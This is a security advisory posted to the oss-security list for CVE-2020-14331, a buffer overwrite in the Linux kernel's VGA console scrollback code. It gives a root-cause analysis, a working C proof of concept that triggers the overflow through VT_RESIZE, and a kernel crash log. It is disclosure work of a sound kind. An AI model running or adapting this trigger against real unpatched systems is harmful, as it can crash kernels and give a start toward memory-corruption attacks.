Date: Tue, 28 Jul 2020 11:16:55 +0800
From: 张云海 <zhangyunhai@...ocus.com>
To: oss-security@...ts.openwall.com
Subject: [CVE-2020-14331] Linux Kernel: buffer over write in
 vgacon_scrollback_update

There is a buffer over write in drivers/video/console/vgacon.c in
vgacon_scrollback_update.

The issue is reported by Yunhai Zhang / NSFOCUS Security Team
<zhangyunhai@...ocus.com>, CVE-2020-14331 assigned via Red Hat.

Affected Versions
The issue is found and tested on 5.7.0-rc6.
The issue is introduced in commit:
15bdab959c9bb909c0317480dd9b35748a8f7887 ([PATCH] vgacon: Add support
for soft scrollback)
According to code review, all versions older than
92ed301919932f777713b9172e525674157e983d (v5.8-rc7) are affected.

Root Cause
In vgacon_scrollback_update, there is a memcpy without enough bound check:
```
                scr_memcpyw(vgacon_scrollback_cur->data +
                            vgacon_scrollback_cur->tail,
                            p, c->vc_size_row);
```
Here vgacon_scrollback_cur->data is a buffer of size
vgacon_scrollback_cur->size which is a multiple of c->vc_size_row,
vgacon_scrollback_cur->tail increase c->vc_size_row each time and reset
to zero when exceed vgacon_scrollback_cur->size. Thus, the copy does not
seem to overflow. However, c->vc_size_row can be reset by calling
ioctl(VT_RESIZE), and a crafted new c->vc_size_row can cause the copy to
overflow.

PoC
To trigger the overflow, CONFIG_VGACON_SOFT_SCROLLBACK should be set in
.config, and vgacon should be selected as the current console.

```
        #include <stdio.h>
        #include <stdlib.h>
        #include <unistd.h>
        #include <sys/types.h>
        #include <sys/stat.h>
        #include <sys/ioctl.h>
        #include <fcntl.h>

        int main(int argc, char** argv)
        {
                int fd = open(argv[1], O_RDWR, 0);

                unsigned short size[3] = {8, 1859, 0};
                ioctl(fd, 0x5609, size); // VT_RESIZE

                for (int i = 0; i < 18; i++) {
                        write(fd, "\x0a", 1);
                }
        }
```

GPF in dmesg:
```
        [   65.025031] general protection fault, probably for non-canonical
address 0x720072007200720: 0000 [#1] SMP PTI
        [   65.045029] CPU: 0 PID: 1054 Comm: ls Not tainted 5.7.0-rc6 #1
        [   65.063110] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.13.0-1ubuntu1 04/01/2014
        [   65.082886] RIP: 0010:rb_next+0x14/0x50
        [   65.104442] Code: 89 d8 e9 27 ff ff ff 48 c7 07 01 00 00 00 c3 0f 1f
80 00 00 00 00 48 8b 17 48 39 d7 74 35 48 8b 47 08 48 85 c0 74 1c 49 89
c0 <48> 8b 40 10 48 85 c0 75 f4 4c 89 c0 c3 48 3b 78 08 75 f6 48 8b 10
        [   65.125863] RSP: 0018:ffffc9000076fe08 EFLAGS: 00010202
        [   65.143457] RAX: 0720072007200720 RBX: ffffc9000076fec0 RCX:
000055f3dd2e0625
        [   65.163220] RDX: ffff88807d570f89 RSI: 0000000000007562 RDI:
ffff88807d570748
        [   65.181504] RBP: ffffc9000076fe38 R08: 0720072007200720 R09:
00007fffffff000
        [   65.199761] R10: 000055f3dd2e05f8 R11: 0000000000000000 R12:
ffff88807d5706c0
        [   65.218000] R13: ffff88807d5706c0 R14: 0000000000000001 R15:
ffffffff8130bc30
        [   65.239453] FS:  00007fb1f812e400(0000) GS:ffff88807dc00000(0000)
knlGS:0000000000000000
        [   65.258165] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
        [   65.275872] CR2: 000055f3dd2e85b8 CR3: 000000005b992000 CR4:
00000000000006f0
        [   65.294578] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
        [   65.313018] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:
0000000000000400
        [   65.330906] Call Trace:
        [   65.349469]  ? proc_readdir_de+0x1bf/0x240
        [   65.366671]  proc_readdir+0x16/0x20
        [   65.383948]  proc_root_readdir+0x22/0x40
        [   65.401034]  iterate_dir+0x9e/0x1b0
        [   65.417970]  ksys_getdents64+0x9c/0x140
        [   65.435156]  ? filldir+0x190/0x190
        [   65.455622]  __x64_sys_getdents64+0x1a/0x20
        [   65.472988]  do_syscall_64+0x57/0x1b0
        [   65.489894]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
        [   65.507195] RIP: 0033:0x7fb1f82c92ab
        [   65.524244] Code: 0f 1e fa 48 8b 47 20 c3 0f 1f 80 00 00 00 00 f3 0f
1e fa 48 81 fa ff ff ff 7f b8 ff ff ff 7f 48 0f 47 d0 b8 d9 00 00 00 0f
05 <48> 3d 00 f0 ff ff 77 05 c3 0f 1f 40 00 48 8b 15 b1 9b 10 00 f7 d8
        [   65.549391] RSP: 002b:00007ffc67f69048 EFLAGS: 00000293 ORIG_RAX:
00000000000000d9
        [   65.569099] RAX: ffffffffffffffda RBX: 000055f3dd2e05b0 RCX:
00007fb1f82c92ab
        [   65.592219] RDX: 0000000000008000 RSI: 000055f3dd2e05b0 RDI:
0000000000000003
        [   65.610551] RBP: fffffffffffffe98 R08: 0000000000000030 R09:
000000000000007c
        [   65.630375] R10: 0000000000000000 R11: 0000000000000293 R12:
000055f3dd2e0584
        [   65.650886] R13: 0000000000000000 R14: 000055f3dd2e0580 R15:
000055f3db6c27fe
        [   65.669554] Modules linked in: nls_iso8859_1 drm_vram_helper
drm_ttm_helper ttm drm_kms_helper cec fb_sys_fops joydev syscopyarea
input_leds sysfillrect serio_raw sysimgblt mac_hid qemu_fw_cfg
sch_fq_codel drm parport_pc ppdev lp parport ip_tables x_tables autofs4
hid_generic usbhid hid psmouse e1000 i2c_piix4 pata_acpi floppy
        [   65.693633] ---[ end trace d08af5ec396bea6d ]---
        [   65.711185] RIP: 0010:rb_next+0x14/0x50
        [   65.731940] Code: 89 d8 e9 27 ff ff ff 48 c7 07 01 00 00 00 c3 0f 1f
80 00 00 00 00 48 8b 17 48 39 d7 74 35 48 8b 47 08 48 85 c0 74 1c 49 89
c0 <48> 8b 40 10 48 85 c0 75 f4 4c 89 c0 c3 48 3b 78 08 75 f6 48 8b 10
        [   65.753937] RSP: 0018:ffffc9000076fe08 EFLAGS: 00010202
        [   65.775013] RAX: 0720072007200720 RBX: ffffc9000076fec0 RCX:
000055f3dd2e0625
        [   65.792795] RDX: ffff88807d570f89 RSI: 0000000000007562 RDI:
ffff88807d570748
        [   65.810378] RBP: ffffc9000076fe38 R08: 0720072007200720 R09:
```

```
00007ffffffff000
        [   65.828354] R10: 000055f3dd2e05f8 R11: 0000000000000000 R12:
ffff88807d5706c0
        [   65.846504] R13: ffff88807d5706c0 R14: 0000000000000001 R15:
ffffffff8130bc30
        [   65.865418] FS:  00007fb1f812e400(0000) GS:ffff88807dc00000(0000)
knlGS:0000000000000000
        [   65.883079] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
        [   65.903615] CR2: 000055f3dd2e85b8 CR3: 000000005b992000 CR4:
00000000000006f0
        [   65.924849] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
        [   65.942933] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:
0000000000000400

# Patch
Linus has rewrite the whole function.
However, I provide a one-line-fix patch here to make it easier to
backport to older stable kernels.


Regards,
Yunhai Zhang / NSFOCUS Security Team
```

View attachment "0001-Fix-for-missing-check-in-vgacon-scrollback-handling.patch**" of type "**text/plain**" (1243 bytes)**